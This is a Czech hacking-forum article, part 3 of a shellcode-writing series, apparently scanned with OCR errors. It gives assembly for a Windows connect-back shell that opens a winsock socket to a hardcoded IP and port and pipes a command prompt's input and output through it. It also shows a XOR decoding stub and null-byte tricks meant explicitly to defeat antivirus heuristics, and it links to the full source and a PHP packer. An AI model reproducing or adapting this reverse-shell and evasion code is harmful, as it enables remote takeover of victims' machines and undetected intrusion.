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Exploitovani - tvorba shellkédu 3. cast
Vlozil/a Juzna [1], 3 Unor, 2006 - 13:44
e Cracking [2]

e Hacking [3]
e Programming [4]

Tak dneska pokracujeme v ¢lanku. Jelikoz jsem slysel ohlasy ze to nema s hackingem nic spole¢ného,
Ze to je ucebnice assembleru, nebudu tady uz tak dopodrobna vysvétlovat kdéd.

Cely kéd si mlzete sosnout na http://www.juzna.com/sploit03.asm [5] a v ném jsou komentare, které
by vam méli stacit. Nebudu zde teda popisovat vSechno, ale jen ¢asti.

Abychom navézali na minuly dil: Mdme v pozadi spusténou prikazovou radku, tedka jesté udélat to
pfipojovani na urcity port. Pomoci knihovny winsock a funkci WSAData a socket vytvorime socket,
prez ktery se budeme pfipojovat. Funkci socket voldme s paramety socket(AF_INET, SOCK_STREAM,
IPPROTO _IP), coz odpovidd hodnotdm 2, 1 a 0. Mohli bychom tedy napsat kéd:

push 0

push 1

push 2

call dword ptr ds:[edi-14h] ; socket

Abychom vSak ztizili praci heuristice v antivirovych programech a také tomu, kdo bude po nas
program lustit, to ovsem mUzeme udélat takto:
Xor eax, eax ; eax =0

push eax
inc eax ; eax =1
push eax
inc eax ; eax = 2
push eax

call dword ptr ds:[edi-14h] ; socket

Vysledek je stejny. Druhy kdéd je sice ve vysledku o jeden baijt delsi, ale na druhou stranu
znesnadnuje pohopeni kédu a hlavné neobsahuje zadny nulovy znak. Prvni kéd tento nulovy znak
obsahuje pfi pouziti intrukce push 0 (coz by mohlo nékdy vadit).

Nyni se pomoci winsocku pfipojime. Mohli bychom volat funkci connet pfimo s IP a portem
parametry, ale aby bylo mozné IP a port jednoduse upravit pomoci dalSiho programu, vyresil jsem to
takto:

call pripojeni

db "1 P:"

db 192, 168, 1, 243 ; IP

db 0, 123 ; Port, opacnha endianita

pri poj eni :

pop eax

Tim ziskdme do eax adresu na string “IP:”, ktery nema pro nas exploit zddny vyznam, ale podle néj
najdeme v kédu IP adresu a port. Logicky na adrese eax+3 je IP adresa a na eax+7 je port.

Nasleduje pracovni smycka, kterd pomoci funkce PeekNamedPipe zkontroluje zda na prvni roure
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(vystup z prikazové radky) jsou néjaka data. Pokud jsou néjaka data k dispozici, pomoci ReadFile je
precteme do predem pfripraveného bufferu a nasledné posleme funcki send pres pripojeny socket.
Nadruhou stranu pokud na vystupu prikazové radky nic neni, podivdme se zda néco nemédme na
socketu. Pokud ano, pak tato data zapiSeme na vstup pfikazové radky. Nakonec chvili pockame
abychom nezrali moc vykonu procesoru a smucku opakujeme. Pokud nam nastane néjakd chyba,
socket uzavfeme a skoncime.

Tato ¢ast myslim nema cenu nijak rozebirat, vSe se da jednoduse pochopit ze zdrojového kédu.

Na ukonceni exploitu pouzijeme v bud funkci ExitProcess nebo ExitTherad, kterd ukonci aktualni
proces (resp. vldkno). Vybereme sem tu funkci, kterou bude lepsi pouzit. Nékdy je totiz lepsi po
skonceni nasi prikazové radky ukoncit cely proces (tzn celou exploitovanou aplikaci) a jindy se hodi
ukoncit jen béZici vidkno a aplikace mlze pokracovat ve svém béhu jako by se nic nestalo. Ke zméné
pouzité funkce staci akorat prepsat vyhleddvany nazev funkce v seznamu hledanych funkci (viz 2.
¢ast ¢lanku).

Vychytavky a vylepseni

- Polymorfismus, zaSifrovani kédu

Polymorfismus je ¢asto pouzivand metoda jak ke ztizeni pochopeni kédu (pro lidi i antivirové
programy), tak abychom se zbavili nulovych bajtl, které by ndm mohli ukon¢it retézec a s nim cely
exploit.

j mp skok

dal :
j mp ukazat el

skok:
cal |l dal
ukazatel :

pop eax ; Adresa na ukazatel
sub eax, ukazatel-kod ; Odecteni mzi skane adresu na zacat ek kodu

X0r ecx, ecx
nov cx, 3412h ; Zde se dosasi del ka

snycka:
xor byte ptr:[eax], 95
i nc eax

| oop smycka

Zacatek kédu se na prvni pohled mize zdat docela slozity kvali nékolika instrukcim skoku a volani.
Logicky si kazdy rekne Ze bychom prece misto téch vsech skokd pouzit jen volani na navésti, které
by bylo ihned za instrukci tohoto volani. To mé pravdu, avsSak tato instrukce by obsahovala hned 4
nulové bajty. To je pro nas velice nevyhodné. Abychom neméli zddné nulové bajty, musime volat na
misto pred samotnym voldnim. Pak totiz adresa kam se ma volat bude zaporna, v naSem pripadé
FFFFFFF9. Tim jsme se zbavili nul. Proto takto slozité skoky.

Nasledné si adresu pro ndvrat ulozime a pri¢teme k ni délku deSifrovaciho kédu (resp. odelteme
zapornou délku, zase kvali nulovym bajtdim). Dale do ecx ulozime kolik byt se méa desifrovat (staci
nam zapisovat do cx, protoze ocekdvdme Ze exploit se vleze do 65kB). A nakonec nasleduje smycka
ktery kazdy znak vyxoruje urc¢itou hodnotou. Ta mUze byt samozrejmé libovolna, pokusem si zvolime
takovou aby zasifrovany exploit neobsahoval Zzddné nulové znaky.

Ted' si jeSté musime udélat kratky programek ktery ndm zasifruje vlastni kéd exploitu, nastavi k
nému zavadéc (prepise v ném délku kdédu a Cislo pro xorovani) a nakonec je spoji a ulozi. Pro tento
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Ucel jsem si napsal kus kédu v PHP, ktery navic nastavi i IP adresu a port ve vlastnim kédu exploitu. |
s kédem zavadéce a zkompilovanym shell kédem si jej mizete stdhnout na adrese
WWWw.juzna.com/zavadec.zip [6]

Checksumy nazvu funkci

Pokud pouzivdme v kédu vice funkci z jinych knihoven, ¢asto se misto hledani podle ndzvu pouziva
hledani podle checksumd. To spodiva v tom, Ze si upravime kdéd ktery hleda funkci GetProcAddr tak,
aby nekontroloval pfimo nazev, ale tento ndzev néjak prekombinoval na ¢islo. Zjednodusené, mlze
tfeba sedist ascii kddu vsech znakd (ovsem takto jednoduchd metoda by ndm pak dala pro vice
funkci stejny chceksum a proto bychom nemohli jednoznacné definovat funkci). Timto postupem
usetrime misto, jelikoz retézec s ndzvem funkce nahradime (v praxi nej¢astéji) 4bajtovym cislem.

Ovsem pro snadnéjsi pochopeni jsem pouzil metodu jakou jsem pouzil a momentalné nemam zadny
kus kédu kde bych podle checksumU hledal funkce, takze snad prominete Ze to zde bude tak trosku
chybét.
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